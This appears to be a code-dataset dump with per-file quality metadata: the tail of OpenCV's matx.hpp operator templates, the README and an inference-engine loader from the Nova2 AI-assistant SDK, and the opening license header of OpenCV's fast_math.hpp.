VecCommaInitializer<_Tp, cn>::VecCommaInitializer(Vec<_Tp, cn>* _vec)
: MatxCommaInitializer<_Tp, cn, 1>(_vec)
{}
template<typename _Tp, int cn> template<typename _T2> inline
VecCommaInitializer<_Tp, cn>& VecCommaInitializer<_Tp, cn>::operator , (_T2 value)
{
CV_DbgAssert( this->idx < cn );
this->dst->val[this->idx++] = saturate_cast<_Tp>(value);
return *this;
}
template<typename _Tp, int cn> inline
Vec<_Tp, cn> VecCommaInitializer<_Tp, cn>::operator *() const
{
CV_DbgAssert( this->idx == cn );
return *this->dst;
}
//! @endcond
///////////////////////////// Matx out-of-class operators ////////////////////////////////
//! @relates cv::Matx
//! @{
template<typename _Tp1, typename _Tp2, int m, int n> static inline
Matx<_Tp1, m, n>& operator += (Matx<_Tp1, m, n>& a, const Matx<_Tp2, m, n>& b)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = saturate_cast<_Tp1>(a.val[i] + b.val[i]);
return a;
}
template<typename _Tp1, typename _Tp2, int m, int n> static inline
Matx<_Tp1, m, n>& operator -= (Matx<_Tp1, m, n>& a, const Matx<_Tp2, m, n>& b)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = saturate_cast<_Tp1>(a.val[i] - b.val[i]);
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator + (const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b)
{
return Matx<_Tp, m, n>(a, b, Matx_AddOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator - (const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b)
{
return Matx<_Tp, m, n>(a, b, Matx_SubOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n>& operator *= (Matx<_Tp, m, n>& a, int alpha)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = saturate_cast<_Tp>(a.val[i] * alpha);
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n>& operator *= (Matx<_Tp, m, n>& a, float alpha)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = saturate_cast<_Tp>(a.val[i] * alpha);
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n>& operator *= (Matx<_Tp, m, n>& a, double alpha)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = saturate_cast<_Tp>(a.val[i] * alpha);
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (const Matx<_Tp, m, n>& a, int alpha)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (const Matx<_Tp, m, n>& a, float alpha)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (const Matx<_Tp, m, n>& a, double alpha)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (int alpha, const Matx<_Tp, m, n>& a)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (float alpha, const Matx<_Tp, m, n>& a)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator * (double alpha, const Matx<_Tp, m, n>& a)
{
return Matx<_Tp, m, n>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n>& operator /= (Matx<_Tp, m, n>& a, float alpha)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = a.val[i] / alpha;
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n>& operator /= (Matx<_Tp, m, n>& a, double alpha)
{
for( int i = 0; i < m*n; i++ )
a.val[i] = a.val[i] / alpha;
return a;
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator / (const Matx<_Tp, m, n>& a, float alpha)
{
return Matx<_Tp, m, n>(a, 1.f/alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator / (const Matx<_Tp, m, n>& a, double alpha)
{
return Matx<_Tp, m, n>(a, 1./alpha, Matx_ScaleOp());
}
template<typename _Tp, int m, int n> static inline
Matx<_Tp, m, n> operator - (const Matx<_Tp, m, n>& a)
{
return Matx<_Tp, m, n>(a, -1, Matx_ScaleOp());
}
template<typename _Tp, int m, int n, int l> static inline
Matx<_Tp, m, n> operator * (const Matx<_Tp, m, l>& a, const Matx<_Tp, l, n>& b)
{
return Matx<_Tp, m, n>(a, b, Matx_MatMulOp());
}
template<typename _Tp, int m, int n> static inline
Vec<_Tp, m> operator * (const Matx<_Tp, m, n>& a, const Vec<_Tp, n>& b)
{
Matx<_Tp, m, 1> c(a, b, Matx_MatMulOp());
return (const Vec<_Tp, m>&)(c);
}
template<typename _Tp, int m, int n> static inline
bool operator == (const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b)
{
for( int i = 0; i < m*n; i++ )
if( a.val[i] != b.val[i] ) return false;
return true;
}
template<typename _Tp, int m, int n> static inline
bool operator != (const Matx<_Tp, m, n>& a, const Matx<_Tp, m, n>& b)
{
return !(a == b);
}
//! @}
////////////////////////////// Vec out-of-class operators ////////////////////////////////
//! @relates cv::Vec
//! @{
template<typename _Tp1, typename _Tp2, int cn> static inline
Vec<_Tp1, cn>& operator += (Vec<_Tp1, cn>& a, const Vec<_Tp2, cn>& b)
{
for( int i = 0; i < cn; i++ )
a.val[i] = saturate_cast<_Tp1>(a.val[i] + b.val[i]);
return a;
}
template<typename _Tp1, typename _Tp2, int cn> static inline
Vec<_Tp1, cn>& operator -= (Vec<_Tp1, cn>& a, const Vec<_Tp2, cn>& b)
{
for( int i = 0; i < cn; i++ )
a.val[i] = saturate_cast<_Tp1>(a.val[i] - b.val[i]);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator + (const Vec<_Tp, cn>& a, const Vec<_Tp, cn>& b)
{
return Vec<_Tp, cn>(a, b, Matx_AddOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator - (const Vec<_Tp, cn>& a, const Vec<_Tp, cn>& b)
{
return Vec<_Tp, cn>(a, b, Matx_SubOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator *= (Vec<_Tp, cn>& a, int alpha)
{
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*alpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator *= (Vec<_Tp, cn>& a, float alpha)
{
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*alpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator *= (Vec<_Tp, cn>& a, double alpha)
{
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*alpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator /= (Vec<_Tp, cn>& a, int alpha)
{
double ialpha = 1./alpha;
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*ialpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator /= (Vec<_Tp, cn>& a, float alpha)
{
float ialpha = 1.f/alpha;
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*ialpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn>& operator /= (Vec<_Tp, cn>& a, double alpha)
{
double ialpha = 1./alpha;
for( int i = 0; i < cn; i++ )
a[i] = saturate_cast<_Tp>(a[i]*ialpha);
return a;
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (const Vec<_Tp, cn>& a, int alpha)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (int alpha, const Vec<_Tp, cn>& a)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (const Vec<_Tp, cn>& a, float alpha)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (float alpha, const Vec<_Tp, cn>& a)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (const Vec<_Tp, cn>& a, double alpha)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator * (double alpha, const Vec<_Tp, cn>& a)
{
return Vec<_Tp, cn>(a, alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator / (const Vec<_Tp, cn>& a, int alpha)
{
return Vec<_Tp, cn>(a, 1./alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator / (const Vec<_Tp, cn>& a, float alpha)
{
return Vec<_Tp, cn>(a, 1.f/alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator / (const Vec<_Tp, cn>& a, double alpha)
{
return Vec<_Tp, cn>(a, 1./alpha, Matx_ScaleOp());
}
template<typename _Tp, int cn> static inline
Vec<_Tp, cn> operator - (const Vec<_Tp, cn>& a)
{
Vec<_Tp,cn> t;
for( int i = 0; i < cn; i++ ) t.val[i] = saturate_cast<_Tp>(-a.val[i]);
return t;
}
template<typename _Tp> inline Vec<_Tp, 4> operator * (const Vec<_Tp, 4>& v1, const Vec<_Tp, 4>& v2)
{
return Vec<_Tp, 4>(saturate_cast<_Tp>(v1[0]*v2[0] - v1[1]*v2[1] - v1[2]*v2[2] - v1[3]*v2[3]),
saturate_cast<_Tp>(v1[0]*v2[1] + v1[1]*v2[0] + v1[2]*v2[3] - v1[3]*v2[2]),
saturate_cast<_Tp>(v1[0]*v2[2] - v1[1]*v2[3] + v1[2]*v2[0] + v1[3]*v2[1]),
saturate_cast<_Tp>(v1[0]*v2[3] + v1[1]*v2[2] - v1[2]*v2[1] + v1[3]*v2[0]));
}
template<typename _Tp> inline Vec<_Tp, 4>& operator *= (Vec<_Tp, 4>& v1, const Vec<_Tp, 4>& v2)
{
v1 = v1 * v2;
return v1;
}
//! @}
} // cv
#endif // OPENCV_CORE_MATX_HPP
| 47,603 | matx | hpp | en | cpp | code | {"qsc_code_num_words": 7963, "qsc_code_num_chars": 47603.0, "qsc_code_mean_word_length": 3.47356524, "qsc_code_frac_words_unique": 0.07534849, "qsc_code_frac_chars_top_2grams": 0.0537961, "qsc_code_frac_chars_top_3grams": 0.04276934, "qsc_code_frac_chars_top_4grams": 0.04511931, "qsc_code_frac_chars_dupe_5grams": 0.68257411, "qsc_code_frac_chars_dupe_6grams": 0.63597252, "qsc_code_frac_chars_dupe_7grams": 0.59316703, "qsc_code_frac_chars_dupe_8grams": 0.57270427, "qsc_code_frac_chars_dupe_9grams": 0.53857556, "qsc_code_frac_chars_dupe_10grams": 0.51753435, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.03927088, "qsc_code_frac_chars_whitespace": 0.2163309, "qsc_code_size_file_byte": 47603.0, "qsc_code_num_lines": 1499.0, "qsc_code_num_chars_line_max": 160.0, "qsc_code_num_chars_line_mean": 31.75650434, "qsc_code_frac_chars_alphabet": 0.70218469, "qsc_code_frac_chars_comments": 0.15257442, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.30612245, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.0, "qsc_code_frac_chars_string_length": 0.01955875, "qsc_code_frac_chars_long_word_length": 0.00171046, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0296846, "qsc_codecpp_frac_lines_preprocessor_directives": null, "qsc_codecpp_frac_lines_func_ratio": 0.03061224, "qsc_codecpp_cate_bitsstdc": 0.0, "qsc_codecpp_nums_lines_main": 0.0, "qsc_codecpp_frac_lines_goto": 0.0, "qsc_codecpp_cate_var_zero": 0.0, "qsc_codecpp_score_lines_no_logic": 0.06679035, "qsc_codecpp_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codecpp_frac_lines_func_ratio": 0, "qsc_codecpp_nums_lines_main": 0, "qsc_codecpp_score_lines_no_logic": 0, "qsc_codecpp_frac_lines_preprocessor_directives": 0, "qsc_codecpp_frac_lines_print": 0} |
00Julian00/Nova2 | README.md | # NOVA: Next-Generation Open-Source Virtual Assistant
### A Python SDK for building AI assistants with minimal code. Integrates LLMs, Text-to-Speech, voice recognition, and long-term memory into a cohesive, easy-to-use system.
## This project will not receive further updates for the foreseeable future, since it stands in direct competition to other open source projects, like [LangGraph](https://github.com/langchain-ai/langgraph) or [N8N](https://github.com/n8n-io/n8n). I recommend using one of those projects instead, as they have a much larger community and are backed by much larger teams and resources. I am willing to continue this project, if there is enough interest in it. You can show your interest by opening issues and pull requests. This project will remain online and open-source, and I recommend it for educational purposes, if you want to learn more about how to work with LLMs. Thank you for your understanding.
Version 2.0.0 [Changelog](CHANGELOG.md)
## Table of contents:
1. [Introduction](#introduction)
2. [Getting started](#getting-started)
3. [Features](#features)
4. [Technologies used](#technologies-used)
5. [Project structure](#project-structure)
## Introduction
Nova2 started out as a rewrite to my [original Nova project](https://github.com/00Julian00/Nova), which is no longer being maintained.
What is Nova?
Nova is an AI assistant building sdk that aims to combine several technologies into one cohesive, uniform and easy to use interface, allowing developers to develop a fully working AI assistant in just a few lines of code.
Nova is modular and easily extendable, allowing you to easily modify it to fit your needs. The complexities of LLMs, TTS, voice transcription, database management, retrieval-augmented-generation and more are abstracted away but still allow for fine control over them for experienced developers. The struggles of changing your code to fit a new system or AI model are not present as the interface always stays the same, allowing you to rapidly experiment with different AI models and systems without needing to change your code. Nova can be used by researchers or AI enthusiasts, hobbyists and in general everyone who wants something that "just works" without having to dig into documentation for every little change in the pipeline.
## Getting started
For this project you need an nvidia gpu with Cuda installed, as well as [cudnn 9.1.0](https://developer.nvidia.com/cudnn-9-1-0-download-archive).
You also need python 3.11.X.
1. Clone the repo and navigate to the "Nova2" folder.
2. Run ```pip install -r requirements.txt```
3. LlamaCPP must be installed separately: ```pip install llama-cpp-python --extra-index-url https://abetlen.github.io/llama-cpp-python/whl/cu124```
If you are on a linux system, you are using conda and encounter an issue like this:
```OSError: cannot load library 'libportaudio.so.2'```
Try updating libstdc++:
```conda install -c conda-forge libstdcxx-ng```
Nova is now installed and ready to be used. I recommend to take a look at the examples in ```./Nova2/examples``` as they give you an overview about how Nova works and how to use it.
Below is a simple script that shows you how to quickly set up a chat with an LLM using the Nova sdk. Create a new script outside the Nova2 folder and copy this code:
```py
from nova import *
# The Nova class is the API
nova = Nova()
# The conditioning contains our settings for the LLM
conditioning = LLMConditioning(
inference_engine="inference_llamacpp", # The inference engine dictates how inference is run in the background. For this example we are using LlamaCPP
model="bartowski/Qwen2.5-7B-Instruct-1M-GGUF",
file="*Q8_0.gguf"
)
nova.configure_llm_and_apply(conditioning=conditioning)
conversation = Conversation()
# This is our primary loop for the back and forth conversation between user and LLM.
while True:
inp = input("User: ")
msg = Message(author="user", content=inp)
conversation.add_message(msg)
response = nova.run_llm(conversation)
print(f"AI: {response.message}")
resp_message = Message(author="assistant", content=response.message)
conversation.add_message(resp_message)
```
Remember to check out the examples to get more information about how to interact with the LLM system and other systems.
## Features
Nova aims to provide every building block you need to build an AI assistant pipeline:
- LLM inference: You can use different "inference engines" to run inference on Large-Language models. Inference engines are essentially wrappers for existing systems and APIs that run LLM inference.
- TTS inference: Like with LLMs, Nova provides inference engines for Text-to-Speech systems to turn text into spoken speech. Nova also includes an audio player that can play the resulting audio data.
- Transcriptor: Nova provides a transcriptor to continuously transcribe spoken speech into text using OpenAI's Whisper model. The transcriptor also computes voice embeddings that are stored in a database that allow you to differentiate between different speakers and recognize returning speakers.
- Long term memory: Nova has a built in retrieval-augmented-generation pipeline that allows the LLM to form long-term memories of important information.
- Context system: The context system is responsible for short-term LLM memory. It organizes and saves data from various sources for the LLM to use.
- Tool system: A modular tool system that allows the LLM to perform any action you give it access to. You can also create and add new tools very easily.
## Technologies used
Nova combines a bunch of different AI models and technologies. Below is an overview over the most important models and technologies used:
### LLM system:
The LLM system comes with 2 inference engines that both handle LLM inference differently:
- The first inference engine utilizes [LlamaCPP](https://github.com/ggml-org/llama.cpp) (specifically [these](https://github.com/abetlen/llama-cpp-python) python bindings). A very fast inference engine written in C++.
- The second inference engine uses the [Groq](https://groq.com/) API. Their custom made chips allow for fast inference on large LLM models. They also offer a free API tier.
### TTS system:
The TTS system also comes with 2 inference engines:
- The first inference engine uses the [Zonos TTS model](https://github.com/Zyphra/Zonos) developed by Zyphra.
- The second inference engine uses the [Elevenlabs API](https://elevenlabs.io/). They also offer a free API tier.
### Databases:
Nova uses 2 different database libraries:
- [Qdrant](https://qdrant.tech/) is a fast vector database framework. It is used to store long term memories as text embeddings, as well as voice embeddings.
- [Sqlalchemy](https://www.sqlalchemy.org/) provides a wrapper for SQL commands. It is used to store secrets, like API keys.
### Transcriptor:
The transcriptor combines several AI models and frameworks into its audio-preprocessing and transcription pipeline:
- [Whisper](https://openai.com/index/whisper/) developed by OpenAI is a Speech-to-Text model that can turn spoken language into text. The transcriptor uses a special approach for transcribing with whisper to allow for streaming transcriptions inspired by [this](https://www.youtube.com/watch?v=_spinzpEeFM) video.
- [Faster-Whisper](https://github.com/SYSTRAN/faster-whisper) is an inference engine for whisper that greatly increases inference speed over OpenAI's implementation by utilizing [CTranslate2](https://github.com/OpenNMT/CTranslate2/).
- [Silero VAD](https://github.com/snakers4/silero-vad) is a voice activity detection library. It is used to detect speech in the audio data to filter out audio chunks.
- [Speechbrain](https://github.com/speechbrain/speechbrain?tab=readme-ov-file) is a library that is used to compute the speaker embeddings.
## Project structure
This section is dedicated to giving you an overview about how the project is structured:
You can find almost all of the scripts in ./Nova2/app. Here, most systems are separated into a "manager" and a "data" script. The data script holds all custom data structures the manager needs, while the manager does the actual work. The root contains the "inference_engines" folder. This is where the inference engines for LLM, TTS and STT are located. They are in the folders `inference_llm`, `inference_tts` and `inference_stt` respectively. These folders also contain the scripts that contain the base classes the inference engine classes inherit from.
In ./Nova2/data you can find the "libraries" folder that not only contains a list of which tools are considered to be "internal", but also the "prompt_library.json" file which holds all built-in prompts the system uses.
./Nova2/db holds all databases of the project, which are separated into the "db_memory_embeddings" and "db_voice_embeddings" folders.
./Nova2/examples hold a bunch of Jupyter notebooks teaching you the basics of how to use Nova.
./Nova2/tool_api holds the "tool_api.py" script which provides tools with their API, as well as their base class they need to inherit from.
./Nova2/tools holds all the tools Nova has access to.
## Testing
Current code coverage: 15%
Tests are performed using the `unittest` and `coverage` libraries.
## Support the Project
If you find Nova useful for your work or projects, consider [buying me a coffee](https://buymeacoffee.com/00julian00). Your support helps maintain and improve this open-source project.
## License
Nova is released under the [MIT License](https://opensource.org/license/mit).
| 9,600 | README | md | en | markdown | text | {"qsc_doc_frac_chars_curly_bracket": 0.00020833, "qsc_doc_frac_words_redpajama_stop": 0.29331994, "qsc_doc_num_sentences": 128.0, "qsc_doc_num_words": 1510, "qsc_doc_num_chars": 9600.0, "qsc_doc_num_lines": 129.0, "qsc_doc_mean_word_length": 4.94437086, "qsc_doc_frac_words_full_bracket": 0.0, "qsc_doc_frac_lines_end_with_readmore": 0.0, "qsc_doc_frac_lines_start_with_bullet": 0.0, "qsc_doc_frac_words_unique": 0.34701987, "qsc_doc_entropy_unigram": 5.61706233, "qsc_doc_frac_words_all_caps": 0.03013561, "qsc_doc_frac_lines_dupe_lines": 0.0, "qsc_doc_frac_chars_dupe_lines": 0.0, "qsc_doc_frac_chars_top_2grams": 0.01473346, "qsc_doc_frac_chars_top_3grams": 0.01875167, "qsc_doc_frac_chars_top_4grams": 0.00884008, "qsc_doc_frac_chars_dupe_5grams": 0.03643182, "qsc_doc_frac_chars_dupe_6grams": 0.01500134, "qsc_doc_frac_chars_dupe_7grams": 0.00669703, "qsc_doc_frac_chars_dupe_8grams": 0.0, "qsc_doc_frac_chars_dupe_9grams": 0.0, "qsc_doc_frac_chars_dupe_10grams": 0.0, "qsc_doc_frac_chars_replacement_symbols": 0.0, "qsc_doc_cate_code_related_file_name": 1.0, "qsc_doc_num_chars_sentence_length_mean": 35.64503817, "qsc_doc_frac_chars_hyperlink_html_tag": 0.075, "qsc_doc_frac_chars_alphabet": 0.90861138, "qsc_doc_frac_chars_digital": 0.00723749, "qsc_doc_frac_chars_whitespace": 0.15083333, "qsc_doc_frac_chars_hex_words": 0.0} | 1 | {"qsc_doc_frac_chars_replacement_symbols": 0, "qsc_doc_entropy_unigram": 0, "qsc_doc_frac_chars_top_2grams": 0, "qsc_doc_frac_chars_top_3grams": 0, "qsc_doc_frac_chars_top_4grams": 0, "qsc_doc_frac_chars_dupe_5grams": 0, "qsc_doc_frac_chars_dupe_6grams": 0, "qsc_doc_frac_chars_dupe_7grams": 0, "qsc_doc_frac_chars_dupe_8grams": 0, "qsc_doc_frac_chars_dupe_9grams": 0, "qsc_doc_frac_chars_dupe_10grams": 0, "qsc_doc_frac_chars_dupe_lines": 0, "qsc_doc_frac_lines_dupe_lines": 0, "qsc_doc_frac_lines_end_with_readmore": 0, "qsc_doc_frac_lines_start_with_bullet": 0, "qsc_doc_frac_words_all_caps": 0, "qsc_doc_mean_word_length": 0, "qsc_doc_num_chars": 0, "qsc_doc_num_lines": 0, "qsc_doc_num_sentences": 0, "qsc_doc_num_words": 0, "qsc_doc_frac_chars_hex_words": 0, "qsc_doc_frac_chars_hyperlink_html_tag": 0, "qsc_doc_frac_chars_alphabet": 0, "qsc_doc_frac_chars_digital": 0, "qsc_doc_frac_chars_whitespace": 0} |
00Julian00/Nova2 | app/inference_engine_manager.py | """
Description: Manages imports of inference engines,
so requirements for an inference engine that is not used to not have to be installed.
"""
from typing import Literal
from pathlib import Path
import importlib.util
from Nova2.app.helpers import Singleton
from Nova2.app.interfaces import LLMInferenceEngineBase, STTInferenceEngineBase, TTSInferenceEngineBase
class InferenceEngineManager(Singleton):
def __init__(self) -> None:
self._loaded_stt_engines: list[STTInferenceEngineBase] = None # type: ignore
self._loaded_llm_engines: list[LLMInferenceEngineBase] = None # type: ignore
self._loaded_tts_engines: list[TTSInferenceEngineBase] = None # type: ignore
self._stt_engines_dir = Path(__file__).parent.parent / "inference_engines" / "inference_stt"
self._llm_engines_dir = Path(__file__).parent.parent / "inference_engines" / "inference_llm"
self._tts_engines_dir = Path(__file__).parent.parent / "inference_engines" / "inference_tts"
def request_engine(self, name: str, eng_type: Literal["STT", "LLM", "TTS"]) -> LLMInferenceEngineBase | STTInferenceEngineBase | TTSInferenceEngineBase: # type: ignore
"""
Attempts to find and import the specified inference engine.
Will throw an exception, if the engine could not be found, or failed to be imported.
"""
path = ""
base_class = None
class_instance = None
match eng_type:
case "STT":
path = self._stt_engines_dir
base_class = STTInferenceEngineBase
case "LLM":
path = self._llm_engines_dir
base_class = LLMInferenceEngineBase
case "TTS":
path = self._tts_engines_dir
base_class = TTSInferenceEngineBase
for engine in path.iterdir():
if engine.stem == name:
try:
spec = importlib.util.spec_from_file_location(engine.stem, engine)
if spec and spec.loader:
module = importlib.util.module_from_spec(spec)
spec.loader.exec_module(module)
classes = [getattr(module, name) for name in dir(module) if isinstance(getattr(module, name), type)]
for cls in classes:
if issubclass(cls, base_class) and cls != base_class: # type: ignore
if class_instance != None:
raise Exception(f"More than one class found that inherits from an engine base class in engine {name}. Only one class can inherit from an engine base class.")
class_instance = cls()
if not class_instance:
raise Exception(f"Engine {name} either contains no classes, or no class that inherits from the correct engine base class.")
return class_instance # type: ignore
else:
raise Exception("Failed to create spec from file.")
except Exception as e:
raise ImportError(f"Failed to import engine {name}. Reason: {e}")
raise FileExistsError(f"Engine {name} could not be found in directory {path}")
| 3,325 | inference_engine_manager | py | en | python | code | {"qsc_code_num_words": 365, "qsc_code_num_chars": 3325.0, "qsc_code_mean_word_length": 5.43561644, "qsc_code_frac_words_unique": 0.30136986, "qsc_code_frac_chars_top_2grams": 0.04082661, "qsc_code_frac_chars_top_3grams": 0.02116935, "qsc_code_frac_chars_top_4grams": 0.02721774, "qsc_code_frac_chars_dupe_5grams": 0.12852823, "qsc_code_frac_chars_dupe_6grams": 0.08316532, "qsc_code_frac_chars_dupe_7grams": 0.08316532, "qsc_code_frac_chars_dupe_8grams": 0.08316532, "qsc_code_frac_chars_dupe_9grams": 0.08316532, "qsc_code_frac_chars_dupe_10grams": 0.0, "qsc_code_frac_chars_replacement_symbols": 0.0, "qsc_code_frac_chars_digital": 0.00087298, "qsc_code_frac_chars_whitespace": 0.31097744, "qsc_code_size_file_byte": 3325.0, "qsc_code_num_lines": 67.0, "qsc_code_num_chars_line_max": 194.0, "qsc_code_num_chars_line_mean": 49.62686567, "qsc_code_frac_chars_alphabet": 0.8651244, "qsc_code_frac_chars_comments": 0.10827068, "qsc_code_cate_xml_start": 0.0, "qsc_code_frac_lines_dupe_lines": 0.0, "qsc_code_cate_autogen": 0.0, "qsc_code_frac_lines_long_string": 0.04166667, "qsc_code_frac_chars_string_length": 0.16261554, "qsc_code_frac_chars_long_word_length": 0.0, "qsc_code_frac_lines_string_concat": 0.0, "qsc_code_cate_encoded_data": 0.0, "qsc_code_frac_chars_hex_words": 0.0, "qsc_code_frac_lines_prompt_comments": 0.0, "qsc_code_frac_lines_assert": 0.0, "qsc_codepython_cate_ast": 1.0, "qsc_codepython_frac_lines_func_ratio": 0.04166667, "qsc_codepython_cate_var_zero": false, "qsc_codepython_frac_lines_pass": 0.0, "qsc_codepython_frac_lines_import": 0.16666667, "qsc_codepython_frac_lines_simplefunc": 0.0, "qsc_codepython_score_lines_no_logic": 0.25, "qsc_codepython_frac_lines_print": 0.0} | 1 | {"qsc_code_frac_chars_replacement_symbols": 0, "qsc_code_num_words": 0, "qsc_code_num_chars": 0, "qsc_code_mean_word_length": 0, "qsc_code_frac_chars_top_2grams": 0, "qsc_code_frac_chars_top_3grams": 0, "qsc_code_frac_chars_top_4grams": 0, "qsc_code_frac_chars_dupe_5grams": 0, "qsc_code_frac_chars_dupe_6grams": 0, "qsc_code_frac_chars_dupe_7grams": 0, "qsc_code_frac_chars_dupe_8grams": 0, "qsc_code_frac_chars_dupe_9grams": 0, "qsc_code_frac_chars_dupe_10grams": 0, "qsc_code_frac_lines_dupe_lines": 0, "qsc_code_size_file_byte": 0, "qsc_code_num_lines": 0, "qsc_code_num_chars_line_max": 0, "qsc_code_num_chars_line_mean": 0, "qsc_code_frac_chars_alphabet": 0, "qsc_code_frac_chars_digital": 0, "qsc_code_frac_chars_whitespace": 0, "qsc_code_frac_chars_comments": 0, "qsc_code_cate_xml_start": 0, "qsc_code_cate_autogen": 0, "qsc_code_frac_lines_long_string": 0, "qsc_code_frac_chars_string_length": 0, "qsc_code_frac_chars_long_word_length": 0, "qsc_code_cate_encoded_data": 0, "qsc_code_frac_chars_hex_words": 0, "qsc_code_frac_lines_prompt_comments": 0, "qsc_code_frac_lines_assert": 0, "qsc_codepython_cate_ast": 0, "qsc_codepython_frac_lines_func_ratio": 0, "qsc_codepython_cate_var_zero": 0, "qsc_codepython_frac_lines_pass": 0, "qsc_codepython_frac_lines_import": 0, "qsc_codepython_frac_lines_simplefunc": 0, "qsc_codepython_score_lines_no_logic": 0, "qsc_codepython_frac_lines_print": 0} |
0015/ESP32-OpenCV-Projects | esp32/examples/color_code/main/opencv/opencv2/core/fast_math.hpp | /*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Copyright (C) 2013, OpenCV Foundation, all rights reserved.
// Copyright (C) 2015, Itseez Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
